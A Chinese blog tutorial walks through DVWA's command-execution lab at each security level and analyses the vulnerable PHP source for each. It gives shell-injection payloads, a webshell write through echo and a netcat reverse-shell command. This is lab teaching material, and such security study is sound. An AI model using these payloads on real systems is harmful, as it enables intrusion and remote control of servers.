dvwa靶场Command Execution全难度教程(附带代码分析)

建议使用owaspbwa靶场可以不用搭建dvwa以及其他常用靶场,省去搭建靶场的困扰,但是此靶机靶场较老,并不建议使用

owaspbwa下载地址: OWASP Broken Web Applications Project download | SourceForge.net
注:owaspbwa的本机用户名root密码owaspbwa,记得看看靶机的ip方便以后使用。dvwa的用户名和密码都为admin(owaspbwa中的dvwa是此,其他的用户名为admin密码为password)

Command Execution原理

代码样式 代码作用 适用范围
cmd1 & cmd2 无论1是否执行成功,2将执行
cmd1 | cmd2 无论1是否执行成功,2将执行
cmd1 ; cmd2 无论1是否执行成功,2将执行
cmd1 || cmd2 仅仅在1执行失败后才执行2 linux
cmd1 && cmd2 仅仅在1执行成功后再执行2

注意可以去掉空格,这个只是格式,可以修改变换

1. Command Execution(Security Level: low)

漏洞判断

这里直接告诉我们要输入ip,就直接输入ip看看

这里发现直接返回了值就挺不错,可以试试直接使用前文提到的原理去利用
让大家看看,不一样的格式不一样的回显结果
127.0.0.1 & whoami


127.0.0.1 | whoami


127.0.0.1 ; whoami


0.0.0.1 || whoami



小技巧:ping不能ping不合法的ip,驶入的ip是不合法的ip

127.0.0.1 && whoami


此处选择自己喜欢的样式就行,记得全都要去试试,建议使用'&','|',';'这些更为方便

漏洞利用

一句话木马写入

利用echo直接写入一句话木马
127.0.0.1 & echo ‘'>shell.php

没有回显是正常情况,这个是直接执行,保存文件实在本机目录,直接访问写入的文件名就可以

此处除数字报错显示为成功,伸下来就蚁剑直接链接就可以,密码为password


拿到网站管理权

反弹shell

我用的是nc反弹命令行windows需要安装netcat然而linux需要知道命令行的应用
nc -e cmd.exe -p 666

或者去看看他的文章吧
(24条消息) Windows下反弹shell的方法_2ed的博客-CSDN博客_metesploit windows 反弹shell payload
Linux是一样的,大同小异

代码分析

if( isset( $_POST[ 'submit' ] ) ) {
	$target = $_REQUEST[ 'ip' ];
	// Determine OS and execute the ping command.
	if (stristr(php_uname('s'), 'Windows NT')) { 
		$cmd = shell_exec( 'ping  ' . $target );
		echo '$cmd';
	} else { 
		$cmd = shell_exec( 'ping  -c 3 ' . $target );
		echo '$cmd';
	}
}

可以发现此处没有做任何过滤,这里需要有过滤不然很容易拿到管理权

2. Command Execution(Security Level: medium)

注:我就不过多说了直接payload算了

漏洞利用

127.0.0.1&echo ’'>1.php





利用成功

代码分析

if( isset( $_POST[ 'submit'] ) ) {
    $target = $_REQUEST[ 'ip' ];
    // Remove any of the charactars in the array (blacklist).
    $substitutions = array(
        '&&' => '',
        ';' => '',
    );
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    // Determine OS and execute the ping command.
    if (stristr(php_uname('s'), 'Windows NT')) {
        $cmd = shell_exec( 'ping  ' . $target );
        echo '$cmd';
    } else {
        $cmd = shell_exec( 'ping  -c 3 ' . $target );
        echo '$cmd';
    }
}

3. Command Execution(Security Level: high)

漏洞利用

127.0.0.1|whoami


注:此靶场是windows上搭建的会有显示问题,而且这个是过滤了'()'的是只能使用反弹shell进行的

代码分析

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);
    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    // Feedback for the end user
    echo "{$cmd}";
}

注意'|'后面有空格,这个是有可能会发生的,开发的问题

Command Execution

此代码是无敌的没有漏洞

代码分析

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );
    // Split the IP into 4 octects
    $octet = explode( ".", $target );
    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
        // Feedback for the end user
        echo "{$cmd}";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo 'ERROR: You have entered an invalid IP.';
    }
}
// Generate Anti-CSRF token
generateSessionToken();
posted on 2026-01-22 14:04  himobrine  阅读(14)  评论(0)    收藏  举报